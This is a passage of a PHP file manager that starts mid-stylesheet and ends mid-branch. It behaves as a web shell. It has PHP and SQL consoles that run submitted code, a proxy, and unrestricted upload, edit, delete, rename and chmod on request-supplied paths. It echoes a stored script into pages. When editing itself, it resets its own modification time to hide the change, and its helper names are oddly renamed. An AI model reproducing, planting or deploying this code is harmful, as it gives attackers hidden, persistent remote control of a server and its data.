    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

